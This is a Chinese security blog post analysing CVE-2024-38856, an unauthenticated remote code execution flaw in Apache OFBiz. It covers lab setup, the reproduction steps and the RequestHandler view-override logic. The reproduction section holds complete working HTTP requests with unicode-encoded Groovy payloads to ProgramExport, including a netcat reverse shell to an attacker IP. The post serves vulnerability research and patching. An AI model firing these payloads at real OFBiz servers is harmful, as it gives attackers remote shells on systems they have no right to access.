前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >CVE-2024-38856:Apache OFBiz远程代码执行漏洞

CVE-2024-38856:Apache OFBiz远程代码执行漏洞

作者头像
Timeline Sec
发布2024-11-23 14:09:03
发布2024-11-23 14:09:03
22800
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

0x01 简介

Apache OFBiz是一个开源 ERP 系统,可帮助企业自动化和集成会计、人力资源、客户关系管理、订单管理、制造和电子商务等各种流程。使用Java语言开发,基于Java企业版(Java EE)的技术栈,包括Java Servlet、JavaServer Pages(JSP)、Java数据库连接(JDBC)等。

0x02 漏洞概述

漏洞编号:CVE-2024-38856

ControlServlet和RequestHandler函数,在处理请求中存在授权错误,导致未经身份验证的远程攻击者通过构造特殊URL来覆盖最终的渲染视图,从而执行任意代码。

0x03 影响版本

Apache OFBiz <= 18.12.14

0x04 环境搭建

https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14

在官网中下载ofbiz,idea打开,构建

在ofbiz-framework-release18.12.14\framework\security\config\security.properties里添加私有IP地址(方便攻击)

运行

访问https://192.168.56.1:8443/webtools/control/main/

0x05 漏洞复现

代码语言:javascript
代码运行次数:0
复制
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.56.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 272

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

POST发送的数据编码前为:

groovyProgram=throw new Exception('calc'.execute().text);

反弹shell操作 攻击机打开nc端口

payload:

throw new Exception('nc 192.168.244.133 4444 -e cmd.exe'.execute().text);

将payload进行unicode编码

代码语言:javascript
代码运行次数:0
复制
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.56.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 458

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u006e\u0063\u0020\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0032\u0034\u0034\u002e\u0031\u0033\u0033\u0020\u0034\u0034\u0034\u0034\u0020\u002d\u0065\u0020\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b\u0020

成功反弹到shell

0x06 漏洞分析

org.apache.ofbiz.webapp.control.ControlServlet类会处理所有以/control/开头的URL请求。在其类中doPost和doGet方法对环境进行相应的初始化,并调用RequestHandler的doRequest()方法处理请求。

requestUri获取了路由配置,再往下看请求 "main" 对应的请求映射集合,并作出处理请求的安全认证。overrideViewUri用于实现视图渲染,查看view类型操作。

代码语言:javascript
代码运行次数:0
复制
if ("view".equals(nextRequestResponse.type)) {
  if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
                // check for an override view, only used if "success" = eventReturn
       String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
       renderView(viewName, requestMap.securityExternalView, request, response, saveName);
       } 

viewName的值会有三种情况:

  • 如果 overrideViewUri 不为空,并且 eventReturn 为空或者等于 "success",则 viewName 的值为 overrideViewUri。
  • 如果 overrideViewUri 为空,并且 eventReturn 不为空且不等于 "success",则 viewName 的值为 nextRequestResponse.value。
  • 如果两个条件都不满足,即 overrideViewUri 为空且 eventReturn 为空或者不等于 "success",则 viewName 的值为 nextRequestResponse.value。

为了达到漏洞利用,首先需要需要requestUri所认定的不鉴权且路由为view类型,调用viewName的值为overrideViewUri,也就是达成条件overrideViewUri存在,而且事件返回为success。

查看webapp/webtools/WEB-INF/controller.xml mian符合上述所说情况

其次就是找到如何进行rce的利用了,在widget/EntityScreens.xml中的ProgramExport,尝试解析执行/webtools/groovyScripts/entity/ProgramExport.groovy,并且groovyProgram可控。

因此整个漏洞的思路就是,在requestUri选择一个可以绕过验证的路由,返回类型为success,为此达到renderView实现带有可利用路由的overrideViewUri。

修复方式

将Apache OFBiz更新至最新版本。

参考链接

https://forum.butian.net/article/524 https://www.secrss.com/articles/68838 https://cn-sec.com/archives/3037801.html

历史文章

CVE-2023-51467

CVE-2021-26295

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 漏洞分析
  • 修复方式
  • 参考链接
  • 历史文章
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档